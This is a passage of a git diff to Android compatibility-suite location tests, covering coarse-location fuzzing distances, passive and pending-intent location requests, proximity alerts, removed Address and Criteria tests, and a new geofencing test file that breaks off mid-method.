     private static final String TEST_PROVIDER = "test_provider";
 
@@ -74,6 +81,8 @@
     private Context mContext;
     private LocationManager mManager;
 
+    private float mMaxCoarseFudgeDistanceM;
+
     @Before
     public void setUp() throws Exception {
         LocationUtils.registerMockLocationProvider(InstrumentationRegistry.getInstrumentation(),
@@ -86,6 +95,13 @@
         mContext = ApplicationProvider.getApplicationContext();
         mManager = mContext.getSystemService(LocationManager.class);
 
+        float coarseLocationAccuracyM = Settings.Secure.getFloat(
+                mContext.getContentResolver(),
+                LOCATION_COARSE_ACCURACY_M,
+                MIN_COARSE_FUDGE_DISTANCE_M);
+        mMaxCoarseFudgeDistanceM = (float) Math.sqrt(
+                2 * coarseLocationAccuracyM * coarseLocationAccuracyM);
+
         assertNotNull(mManager);
 
         for (String provider : mManager.getAllProviders()) {
@@ -107,8 +123,11 @@
 
     @After
     public void tearDown() throws Exception {
-        for (String provider : mManager.getAllProviders()) {
-            mManager.removeTestProvider(provider);
+        if (mManager != null) {
+            for (String provider : mManager.getAllProviders()) {
+                mManager.removeTestProvider(provider);
+            }
+            mManager.removeTestProvider(FUSED_PROVIDER);
         }
 
         LocationUtils.registerMockLocationProvider(InstrumentationRegistry.getInstrumentation(),
@@ -116,11 +135,20 @@
     }
 
     @Test
+    public void testMinCoarseLocationDistance() {
+        assertThat(Settings.Secure.getFloat(
+                mContext.getContentResolver(),
+                LOCATION_COARSE_ACCURACY_M,
+                MIN_COARSE_FUDGE_DISTANCE_M)).isAtLeast(MIN_COARSE_FUDGE_DISTANCE_M);
+    }
+
+    @Test
     public void testGetLastKnownLocation() {
         Location loc = createLocation(TEST_PROVIDER, mRandom);
 
         mManager.setTestProviderLocation(TEST_PROVIDER, loc);
-        assertThat(mManager.getLastKnownLocation(TEST_PROVIDER)).isNearby(loc, MAX_COARSE_FUDGE_DISTANCE_M);
+        assertThat(mManager.getLastKnownLocation(TEST_PROVIDER)).isNearby(loc,
+                mMaxCoarseFudgeDistanceM);
     }
 
     @Test
@@ -137,28 +165,63 @@
     @Test
     public void testRequestLocationUpdates() throws Exception {
         Location loc = createLocation(TEST_PROVIDER, mRandom);
-        Bundle extras = new Bundle();
-        extras.putParcelable(Location.EXTRA_NO_GPS_LOCATION, new Location(loc));
-        loc.setExtras(extras);
+        if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.Q) {
+            Bundle extras = new Bundle();
+            extras.putParcelable(Location.EXTRA_NO_GPS_LOCATION, new Location(loc));
+            loc.setExtras(extras);
+        }
 
         try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
-            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, directExecutor(), capture);
+            mManager.requestLocationUpdates(
+                    TEST_PROVIDER,
+                    new LocationRequest.Builder(0)
+                            .build(),
+                    Runnable::run,
+                    capture);
             mManager.setTestProviderLocation(TEST_PROVIDER, loc);
-            assertThat(capture.getNextLocation(TIMEOUT_MS)).isNearby(loc, MAX_COARSE_FUDGE_DISTANCE_M);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isNearby(loc, mMaxCoarseFudgeDistanceM);
+            mManager.setTestProviderLocation(TEST_PROVIDER, createLocation(TEST_PROVIDER, mRandom));
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isNull();
+        }
+    }
+
+    @Test
+    public void testRequestLocationUpdates_Passive() throws Exception {
+        Location loc = createLocation(TEST_PROVIDER, mRandom);
+        if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.Q) {
+            Bundle extras = new Bundle();
+            extras.putParcelable(Location.EXTRA_NO_GPS_LOCATION, new Location(loc));
+            loc.setExtras(extras);
+        }
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+            mManager.requestLocationUpdates(
+                    TEST_PROVIDER,
+                    new LocationRequest.Builder(PASSIVE_INTERVAL)
+                            .setMinUpdateIntervalMillis(0)
+                            .build(),
+                    Runnable::run,
+                    capture);
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isNearby(loc, mMaxCoarseFudgeDistanceM);
+            mManager.setTestProviderLocation(TEST_PROVIDER, createLocation(TEST_PROVIDER, mRandom));
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isNull();
         }
     }
 
     @Test
     public void testRequestLocationUpdates_PendingIntent() throws Exception {
         Location loc = createLocation(TEST_PROVIDER, mRandom);
-        Bundle extras = new Bundle();
-        extras.putParcelable(Location.EXTRA_NO_GPS_LOCATION, new Location(loc));
-        loc.setExtras(extras);
+        if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.Q) {
+            Bundle extras = new Bundle();
+            extras.putParcelable(Location.EXTRA_NO_GPS_LOCATION, new Location(loc));
+            loc.setExtras(extras);
+        }
 
         try (LocationPendingIntentCapture capture = new LocationPendingIntentCapture(mContext)) {
             mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, capture.getPendingIntent());
             mManager.setTestProviderLocation(TEST_PROVIDER, loc);
-            assertThat(capture.getNextLocation(TIMEOUT_MS)).isNearby(loc, MAX_COARSE_FUDGE_DISTANCE_M);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isNearby(loc, mMaxCoarseFudgeDistanceM);
         }
     }
 
@@ -176,7 +239,15 @@
 
     @Test
     public void testGetBestProvider() {
-        // prevent network provider from matching
+        Criteria criteria = new Criteria();
+        criteria.setAccuracy(Criteria.ACCURACY_COARSE);
+        criteria.setPowerRequirement(Criteria.POWER_MEDIUM);
+
+        if (mManager.getProvider(FUSED_PROVIDER) != null) {
+            assertEquals(FUSED_PROVIDER, mManager.getBestProvider(criteria, false));
+        }
+
+        // prevent network + fused provider from matching
         mManager.addTestProvider(NETWORK_PROVIDER,
                 true,
                 false,
@@ -187,10 +258,16 @@
                 false,
                 Criteria.POWER_HIGH,
                 Criteria.ACCURACY_COARSE);
-
-        Criteria criteria = new Criteria();
-        criteria.setAccuracy(Criteria.ACCURACY_COARSE);
-        criteria.setPowerRequirement(Criteria.POWER_MEDIUM);
+        mManager.addTestProvider(FUSED_PROVIDER,
+                true,
+                false,
+                true,
+                false,
+                false,
+                false,
+                false,
+                Criteria.POWER_HIGH,
+                Criteria.ACCURACY_COARSE);
 
         String bestProvider = mManager.getBestProvider(criteria, false);
         assertEquals(TEST_PROVIDER, bestProvider);
@@ -206,6 +283,18 @@
         mManager.sendExtraCommand(TEST_PROVIDER, "command", null);
     }
 
+    @Test
+    public void testAddProximityAlert() {
+        try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
+            try {
+                mManager.addProximityAlert(0, 0, 100, -1, capture.getPendingIntent());
+                fail("addProximityAlert() should fail with only ACCESS_COARSE_LOCATION");
+            } catch (SecurityException e) {
+                // pass
+            }
+        }
+    }
+
     // TODO: this test should probably not be in the location module
     @Test
     public void testGnssProvidedClock() throws Exception {
@@ -240,10 +329,6 @@
         assertTrue(System.currentTimeMillis() - clockms < 1000);
     }
 
-    private static Executor directExecutor() {
-        return Runnable::run;
-    }
-
     private boolean hasGpsFeature() {
         return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LOCATION_GPS);
     }
diff --git a/tests/location/location_fine/Android.bp b/tests/location/location_fine/Android.bp
index 44b220b..127df86 100644
--- a/tests/location/location_fine/Android.bp
+++ b/tests/location/location_fine/Android.bp
@@ -36,4 +36,5 @@
         "cts",
         "general-tests",
     ],
+    platform_apis: true,
 }
diff --git a/tests/location/location_fine/AndroidManifest.xml b/tests/location/location_fine/AndroidManifest.xml
index 0804333..b97a90b 100644
--- a/tests/location/location_fine/AndroidManifest.xml
+++ b/tests/location/location_fine/AndroidManifest.xml
@@ -18,6 +18,10 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="android.location.cts.fine">
 
+    <attribution android:tag="valid_location_attribution_tag" android:label="@string/foo_label" />
+    <attribution android:tag="another_valid_location_attribution_tag" android:label="@string/foo_label" />
+    <attribution android:tag="invalid_location_attribution_tag" android:label="@string/foo_label" />
+
     <application>
         <uses-library android:name="android.test.runner"/>
     </application>
diff --git a/tests/location/location_fine/res/values/strings.xml b/tests/location/location_fine/res/values/strings.xml
new file mode 100644
index 0000000..2f9dcbc
--- /dev/null
+++ b/tests/location/location_fine/res/values/strings.xml
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<resources>
+  <string name="foo_label">foo</string>
+</resources>
diff --git a/tests/location/location_fine/src/android/location/cts/fine/AddressTest.java b/tests/location/location_fine/src/android/location/cts/fine/AddressTest.java
deleted file mode 100644
index a17755a..0000000
--- a/tests/location/location_fine/src/android/location/cts/fine/AddressTest.java
+++ /dev/null
@@ -1,359 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.fine;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertSame;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import java.util.Locale;
-
-import android.location.Address;
-import android.os.Bundle;
-import android.os.Parcel;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-public class AddressTest {
-
-    private static final double DELTA = 0.001;
-
-    @Test
-    public void testConstructor() {
-        new Address(Locale.ENGLISH);
-
-        new Address(Locale.FRANCE);
-
-        new Address(null);
-    }
-
-    @Test
-    public void testAccessAdminArea() {
-        Address address = new Address(Locale.ITALY);
-
-        String adminArea = "CA";
-        address.setAdminArea(adminArea);
-        assertEquals(adminArea, address.getAdminArea());
-
-        address.setAdminArea(null);
-        assertNull(address.getAdminArea());
-    }
-
-    @Test
-    public void testAccessCountryCode() {
-        Address address = new Address(Locale.JAPAN);
-
-        String countryCode = "US";
-        address.setCountryCode(countryCode);
-        assertEquals(countryCode, address.getCountryCode());
-
-        address.setCountryCode(null);
-        assertNull(address.getCountryCode());
-    }
-
-    @Test
-    public void testAccessCountryName() {
-        Address address = new Address(Locale.KOREA);
-
-        String countryName = "China";
-        address.setCountryName(countryName);
-        assertEquals(countryName, address.getCountryName());
-
-        address.setCountryName(null);
-        assertNull(address.getCountryName());
-    }
-
-    @Test
-    public void testAccessExtras() {
-        Address address = new Address(Locale.TAIWAN);
-
-        Bundle extras = new Bundle();
-        extras.putBoolean("key1", false);
-        byte b = 10;
-        extras.putByte("key2", b);
-
-        address.setExtras(extras);
-        Bundle actual = address.getExtras();
-        assertFalse(actual.getBoolean("key1"));
-        assertEquals(b, actual.getByte("key2"));
-
-        address.setExtras(null);
-        assertNull(address.getExtras());
-    }
-
-    @Test
-    public void testAccessFeatureName() {
-        Address address = new Address(Locale.SIMPLIFIED_CHINESE);
-
-        String featureName = "Golden Gate Bridge";
-        address.setFeatureName(featureName);
-        assertEquals(featureName, address.getFeatureName());
-
-        address.setFeatureName(null);
-        assertNull(address.getFeatureName());
-    }
-
-    @Test
-    public void testAccessLatitude() {
-        Address address = new Address(Locale.CHINA);
-        assertFalse(address.hasLatitude());
-
-        double latitude = 1.23456789;
-        address.setLatitude(latitude);
-        assertTrue(address.hasLatitude());
-        assertEquals(latitude, address.getLatitude(), DELTA);
-
-        address.clearLatitude();
-        assertFalse(address.hasLatitude());
-        try {
-            address.getLatitude();
-            fail("should throw IllegalStateException.");
-        } catch (IllegalStateException e) {
-            // pass
-        }
-    }
-
-    @Test
-    public void testAccessLongitude() {
-        Address address = new Address(Locale.CHINA);
-        assertFalse(address.hasLongitude());
-
-        double longitude = 1.23456789;
-        address.setLongitude(longitude);
-        assertTrue(address.hasLongitude());
-        assertEquals(longitude, address.getLongitude(), DELTA);
-
-        address.clearLongitude();
-        assertFalse(address.hasLongitude());
-        try {
-            address.getLongitude();
-            fail("should throw IllegalStateException.");
-        } catch (IllegalStateException e) {
-            // pass
-        }
-    }
-
-    @Test
-    public void testAccessPhone() {
-        Address address = new Address(Locale.CHINA);
-
-        String phone = "+86-13512345678";
-        address.setPhone(phone);
-        assertEquals(phone, address.getPhone());
-
-        address.setPhone(null);
-        assertNull(address.getPhone());
-    }
-
-    @Test
-    public void testAccessPostalCode() {
-        Address address = new Address(Locale.CHINA);
-
-        String postalCode = "93110";
-        address.setPostalCode(postalCode);
-        assertEquals(postalCode, address.getPostalCode());
-
-        address.setPostalCode(null);
-        assertNull(address.getPostalCode());
-    }
-
-    @Test
-    public void testAccessThoroughfare() {
-        Address address = new Address(Locale.CHINA);
-
-        String thoroughfare = "1600 Ampitheater Parkway";
-        address.setThoroughfare(thoroughfare);
-        assertEquals(thoroughfare, address.getThoroughfare());
-
-        address.setThoroughfare(null);
-        assertNull(address.getThoroughfare());
-    }
-
-    @Test
-    public void testAccessUrl() {
-        Address address = new Address(Locale.CHINA);
-
-        String Url = "Url";
-        address.setUrl(Url);
-        assertEquals(Url, address.getUrl());
-
-        address.setUrl(null);
-        assertNull(address.getUrl());
-    }
-
-    @Test
-    public void testAccessSubAdminArea() {
-        Address address = new Address(Locale.CHINA);
-
-        String subAdminArea = "Santa Clara County";
-        address.setSubAdminArea(subAdminArea);
-        assertEquals(subAdminArea, address.getSubAdminArea());
-
-        address.setSubAdminArea(null);
-        assertNull(address.getSubAdminArea());
-    }
-
-    @Test
-    public void testToString() {
-        Address address = new Address(Locale.CHINA);
-
-        address.setUrl("www.google.com");
-        address.setPostalCode("95120");
-        String expected = "Address[addressLines=[],feature=null,admin=null,sub-admin=null," +
-                "locality=null,thoroughfare=null,postalCode=95120,countryCode=null," +
-                "countryName=null,hasLatitude=false,latitude=0.0,hasLongitude=false," +
-                "longitude=0.0,phone=null,url=www.google.com,extras=null]";
-        assertEquals(expected, address.toString());
-    }
-
-    @Test
-    public void testAddressLine() {
-        Address address = new Address(Locale.CHINA);
-
-        try {
-            address.setAddressLine(-1, null);
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-            // pass
-        }
-
-        try {
-            address.getAddressLine(-1);
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-            // pass
-        }
-
-        address.setAddressLine(0, null);
-        assertNull(address.getAddressLine(0));
-        assertEquals(0, address.getMaxAddressLineIndex());
-
-        final String line1 = "1";
-        address.setAddressLine(0, line1);
-        assertEquals(line1, address.getAddressLine(0));
-        assertEquals(0, address.getMaxAddressLineIndex());
-
-        final String line2 = "2";
-        address.setAddressLine(5, line2);
-        assertEquals(line2, address.getAddressLine(5));
-        assertEquals(5, address.getMaxAddressLineIndex());
-
-        address.setAddressLine(2, null);
-        assertNull(address.getAddressLine(2));
-        assertEquals(5, address.getMaxAddressLineIndex());
-    }
-
-    @Test
-    public void testGetLocale() {
-        Locale locale = Locale.US;
-        Address address = new Address(locale);
-        assertSame(locale, address.getLocale());
-
-        locale = Locale.UK;
-        address = new Address(locale);
-        assertSame(locale, address.getLocale());
-
-        address = new Address(null);
-        assertNull(address.getLocale());
-    }
-
-    @Test
-    public void testAccessLocality() {
-        Address address = new Address(Locale.PRC);
-
-        String locality = "Hollywood";
-        address.setLocality(locality);
-        assertEquals(locality, address.getLocality());
-
-        address.setLocality(null);
-        assertNull(address.getLocality());
-    }
-
-    @Test
-    public void testAccessPremises() {
-        Address address = new Address(Locale.PRC);
-
-        String premises = "Appartment";
-        address.setPremises(premises);
-        assertEquals(premises, address.getPremises());
-
-        address.setPremises(null);
-        assertNull(address.getPremises());
-    }
-
-    @Test
-    public void testAccessSubLocality() {
-        Address address = new Address(Locale.PRC);
-
-        String subLocality = "Sarchnar";
-        address.setSubLocality(subLocality);
-        assertEquals(subLocality, address.getSubLocality());
-
-        address.setSubLocality(null);
-        assertNull(address.getSubLocality());
-    }
-
-    @Test
-    public void testAccessSubThoroughfare() {
-        Address address = new Address(Locale.PRC);
-
-        String subThoroughfare = "1600";
-        address.setSubThoroughfare(subThoroughfare);
-        assertEquals(subThoroughfare, address.getSubThoroughfare());
-
-        address.setSubThoroughfare(null);
-        assertNull(address.getSubThoroughfare());
-    }
-
-    @Test
-    public void testWriteToParcel() {
-        Locale locale = Locale.KOREA;
-        Address address = new Address(locale);
-
-        Parcel parcel = Parcel.obtain();
-        address.writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-        assertEquals(locale.getLanguage(), parcel.readString());
-        assertEquals(locale.getCountry(), parcel.readString());
-        assertEquals(0, parcel.readInt());
-        assertEquals(address.getFeatureName(), parcel.readString());
-        assertEquals(address.getAdminArea(), parcel.readString());
-        assertEquals(address.getSubAdminArea(), parcel.readString());
-        assertEquals(address.getLocality(), parcel.readString());
-        assertEquals(address.getSubLocality(), parcel.readString());
-        assertEquals(address.getThoroughfare(), parcel.readString());
-        assertEquals(address.getSubThoroughfare(), parcel.readString());
-        assertEquals(address.getPremises(), parcel.readString());
-        assertEquals(address.getPostalCode(), parcel.readString());
-        assertEquals(address.getCountryCode(), parcel.readString());
-        assertEquals(address.getCountryName(), parcel.readString());
-        assertEquals(0, parcel.readInt());
-        assertEquals(0, parcel.readInt());
-        assertEquals(address.getPhone(), parcel.readString());
-        assertEquals(address.getUrl(), parcel.readString());
-        assertEquals(address.getExtras(), parcel.readBundle());
-
-        parcel.recycle();
-    }
-}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/CriteriaTest.java b/tests/location/location_fine/src/android/location/cts/fine/CriteriaTest.java
deleted file mode 100644
index 0799636..0000000
--- a/tests/location/location_fine/src/android/location/cts/fine/CriteriaTest.java
+++ /dev/null
@@ -1,247 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.fine;
-
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.location.Criteria;
-import android.os.Parcel;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-public class CriteriaTest {
-
-    @Test
-    public void testConstructor() {
-        new Criteria();
-
-        Criteria c = new Criteria();
-        c.setAccuracy(Criteria.ACCURACY_FINE);
-        c.setAltitudeRequired(true);
-        c.setBearingRequired(true);
-        c.setCostAllowed(true);
-        c.setPowerRequirement(Criteria.POWER_HIGH);
-        c.setSpeedRequired(true);
-        Criteria criteria = new Criteria(c);
-        assertEquals(Criteria.ACCURACY_FINE, criteria.getAccuracy());
-        assertTrue(criteria.isAltitudeRequired());
-        assertTrue(criteria.isBearingRequired());
-        assertTrue(criteria.isCostAllowed());
-        assertTrue(criteria.isSpeedRequired());
-        assertEquals(Criteria.POWER_HIGH, criteria.getPowerRequirement());
-
-        try {
-            new Criteria(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected.
-        }
-    }
-
-    @Test
-    public void testDescribeContents() {
-        Criteria criteria = new Criteria();
-        criteria.describeContents();
-    }
-
-    @Test
-    public void testAccessAccuracy() {
-        Criteria criteria = new Criteria();
-
-        criteria.setAccuracy(Criteria.ACCURACY_FINE);
-        assertEquals(Criteria.ACCURACY_FINE, criteria.getAccuracy());
-
-        criteria.setAccuracy(Criteria.ACCURACY_COARSE);
-        assertEquals(Criteria.ACCURACY_COARSE, criteria.getAccuracy());
-
-        try {
-            // It should throw IllegalArgumentException
-            criteria.setAccuracy(-1);
-            // issue 1728526
-        } catch (IllegalArgumentException e) {
-            // expected.
-        }
-
-        try {
-            // It should throw IllegalArgumentException
-            criteria.setAccuracy(Criteria.ACCURACY_COARSE + 1);
-            // issue 1728526
-        } catch (IllegalArgumentException e) {
-            // expected.
-        }
-    }
-
-    @Test
-    public void testAccessPowerRequirement() {
-        Criteria criteria = new Criteria();
-
-        criteria.setPowerRequirement(Criteria.NO_REQUIREMENT);
-        assertEquals(Criteria.NO_REQUIREMENT, criteria.getPowerRequirement());
-
-        criteria.setPowerRequirement(Criteria.POWER_MEDIUM);
-        assertEquals(Criteria.POWER_MEDIUM, criteria.getPowerRequirement());
-
-        try {
-            criteria.setPowerRequirement(-1);
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-            // expected.
-        }
-
-        try {
-            criteria.setPowerRequirement(Criteria.POWER_HIGH + 1);
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-            // expected.
-        }
-    }
-
-    @Test
-    public void testAccessAltitudeRequired() {
-        Criteria criteria = new Criteria();
-
-        criteria.setAltitudeRequired(false);
-        assertFalse(criteria.isAltitudeRequired());
-
-        criteria.setAltitudeRequired(true);
-        assertTrue(criteria.isAltitudeRequired());
-    }
-
-    @Test
-    public void testAccessBearingAccuracy() {
-        Criteria criteria = new Criteria();
-
-        criteria.setBearingAccuracy(Criteria.ACCURACY_LOW);
-        assertEquals(Criteria.ACCURACY_LOW, criteria.getBearingAccuracy());
-
-        criteria.setBearingAccuracy(Criteria.ACCURACY_HIGH);
-        assertEquals(Criteria.ACCURACY_HIGH, criteria.getBearingAccuracy());
-
-        criteria.setBearingAccuracy(Criteria.NO_REQUIREMENT);
-        assertEquals(Criteria.NO_REQUIREMENT, criteria.getBearingAccuracy());
-      }
-
-    @Test
-    public void testAccessBearingRequired() {
-        Criteria criteria = new Criteria();
-
-        criteria.setBearingRequired(false);
-        assertFalse(criteria.isBearingRequired());
-
-        criteria.setBearingRequired(true);
-        assertTrue(criteria.isBearingRequired());
-    }
-
-    @Test
-    public void testAccessCostAllowed() {
-        Criteria criteria = new Criteria();
-
-        criteria.setCostAllowed(false);
-        assertFalse(criteria.isCostAllowed());
-
-        criteria.setCostAllowed(true);
-        assertTrue(criteria.isCostAllowed());
-    }
-
-    @Test
-    public void testAccessHorizontalAccuracy() {
-        Criteria criteria = new Criteria();
-
-        criteria.setHorizontalAccuracy(Criteria.ACCURACY_LOW);
-        assertEquals(Criteria.ACCURACY_LOW, criteria.getHorizontalAccuracy());
-
-        criteria.setHorizontalAccuracy(Criteria.ACCURACY_MEDIUM);
-        assertEquals(Criteria.ACCURACY_MEDIUM, criteria.getHorizontalAccuracy());
-
-        criteria.setHorizontalAccuracy(Criteria.ACCURACY_HIGH);
-        assertEquals(Criteria.ACCURACY_HIGH, criteria.getHorizontalAccuracy());
-
-        criteria.setHorizontalAccuracy(Criteria.NO_REQUIREMENT);
-        assertEquals(Criteria.NO_REQUIREMENT, criteria.getHorizontalAccuracy());
-    }
-
-    @Test
-    public void testAccessSpeedAccuracy() {
-        Criteria criteria = new Criteria();
-
-        criteria.setSpeedAccuracy(Criteria.ACCURACY_LOW);
-        assertEquals(Criteria.ACCURACY_LOW, criteria.getSpeedAccuracy());
-
-        criteria.setSpeedAccuracy(Criteria.ACCURACY_HIGH);
-        assertEquals(Criteria.ACCURACY_HIGH, criteria.getSpeedAccuracy());
-
-        criteria.setSpeedAccuracy(Criteria.NO_REQUIREMENT);
-        assertEquals(Criteria.NO_REQUIREMENT, criteria.getSpeedAccuracy());
-    }
-
-    @Test
-    public void testAccessSpeedRequired() {
-        Criteria criteria = new Criteria();
-
-        criteria.setSpeedRequired(false);
-        assertFalse(criteria.isSpeedRequired());
-
-        criteria.setSpeedRequired(true);
-        assertTrue(criteria.isSpeedRequired());
-    }
-
-    @Test
-    public void testAccessVerticalAccuracy() {
-        Criteria criteria = new Criteria();
-
-        criteria.setVerticalAccuracy(Criteria.ACCURACY_LOW);
-        assertEquals(Criteria.ACCURACY_LOW, criteria.getVerticalAccuracy());
-
-       criteria.setVerticalAccuracy(Criteria.ACCURACY_HIGH);
-        assertEquals(Criteria.ACCURACY_HIGH, criteria.getVerticalAccuracy());
-
-        criteria.setVerticalAccuracy(Criteria.NO_REQUIREMENT);
-        assertEquals(Criteria.NO_REQUIREMENT, criteria.getVerticalAccuracy());
-    }
-
-    @Test
-    public void testWriteToParcel() {
-        Criteria criteria = new Criteria();
-        criteria.setAltitudeRequired(true);
-        criteria.setBearingRequired(false);
-        criteria.setCostAllowed(true);
-        criteria.setSpeedRequired(true);
-
-        Parcel parcel = Parcel.obtain();
-        criteria.writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-
-        Criteria newCriteria = Criteria.CREATOR.createFromParcel(parcel);
-
-        assertEquals(criteria.getAccuracy(), newCriteria.getAccuracy());
-        assertEquals(criteria.getPowerRequirement(), newCriteria.getPowerRequirement());
-        assertEquals(criteria.isAltitudeRequired(), newCriteria.isAltitudeRequired());
-        assertEquals(criteria.isBearingRequired(), newCriteria.isBearingRequired());
-        assertEquals(criteria.isSpeedRequired(), newCriteria.isSpeedRequired());
-        assertEquals(criteria.isCostAllowed(), newCriteria.isCostAllowed());
-
-        parcel.recycle();
-    }
-}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GeofencingTest.java b/tests/location/location_fine/src/android/location/cts/fine/GeofencingTest.java
new file mode 100644
index 0000000..59c91c9
--- /dev/null
+++ b/tests/location/location_fine/src/android/location/cts/fine/GeofencingTest.java
@@ -0,0 +1,291 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.fine;
+
+import static android.location.LocationManager.FUSED_PROVIDER;
+
+import static com.android.compatibility.common.util.LocationUtils.createLocation;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
+import android.app.PendingIntent;
+import android.content.Context;
+import android.content.Intent;
+import android.location.Criteria;
+import android.location.LocationManager;
+import android.location.cts.common.ProximityPendingIntentCapture;
+import android.util.Log;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.LocationUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Objects;
+
+@RunWith(AndroidJUnit4.class)
+public class GeofencingTest {
+
+    private static final String TAG = "GeofenceManagerTest";
+
+    private static final long TIMEOUT_MS = 5000;
+    private static final long FAILURE_TIMEOUT_MS = 200;
+
+    private static final String TEST_PROVIDER = "test_provider";
+
+    private Context mContext;
+    private LocationManager mManager;
+
+    @Before
+    public void setUp() throws Exception {
+        LocationUtils.registerMockLocationProvider(InstrumentationRegistry.getInstrumentation(),
+                true);
+
+        long seed = System.currentTimeMillis();
+        Log.i(TAG, "location random seed: " + seed);
+
+        mContext = ApplicationProvider.getApplicationContext();
+        mManager = Objects.requireNonNull(mContext.getSystemService(LocationManager.class));
+
+        for (String provider : mManager.getAllProviders()) {
+            mManager.removeTestProvider(provider);
+        }
+
+        mManager.addTestProvider(TEST_PROVIDER,
+                true,
+                false,
+                true,
+                false,
+                false,
+                false,
+                false,
+                Criteria.POWER_MEDIUM,
+                Criteria.ACCURACY_FINE);
+        mManager.setTestProviderEnabled(TEST_PROVIDER, true);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (mManager != null) {
+            for (String provider : mManager.getAllProviders()) {
+                mManager.removeTestProvider(provider);
+            }
+        }
+
+        LocationUtils.registerMockLocationProvider(InstrumentationRegistry.getInstrumentation(),
+                false);
+    }
+
+    @Test
+    public void testAddProximityAlert() throws Exception {
+        mManager.addTestProvider(FUSED_PROVIDER,
+                true,
+                false,
+                true,
+                false,
+                false,
+                false,
+                false,
+                Criteria.POWER_MEDIUM,
+                Criteria.ACCURACY_FINE);
+        mManager.setTestProviderEnabled(FUSED_PROVIDER, true);
+        mManager.setTestProviderLocation(FUSED_PROVIDER,
+                createLocation(FUSED_PROVIDER, 30, 30, 10));
+
+        try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
+            mManager.addProximityAlert(0, 0, 1000, -1, capture.getPendingIntent());
+
+            mManager.setTestProviderLocation(FUSED_PROVIDER,
+                    createLocation(FUSED_PROVIDER, 0, 0, 10));
+            assertThat(capture.getNextProximityChange(TIMEOUT_MS)).isEqualTo(Boolean.TRUE);
+
+            mManager.setTestProviderLocation(FUSED_PROVIDER,
+                    createLocation(FUSED_PROVIDER, 30, 30, 10));
+            assertThat(capture.getNextProximityChange(TIMEOUT_MS)).isEqualTo(Boolean.FALSE);
+        }
+
+        try {
+            mManager.addProximityAlert(0, 0, 1000, -1, null);
+            fail("Should throw IllegalArgumentException if pending intent is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        PendingIntent immutablePI = PendingIntent.getBroadcast(mContext, 0,
+                new Intent("IMMUTABLE_TEST_ACTION")
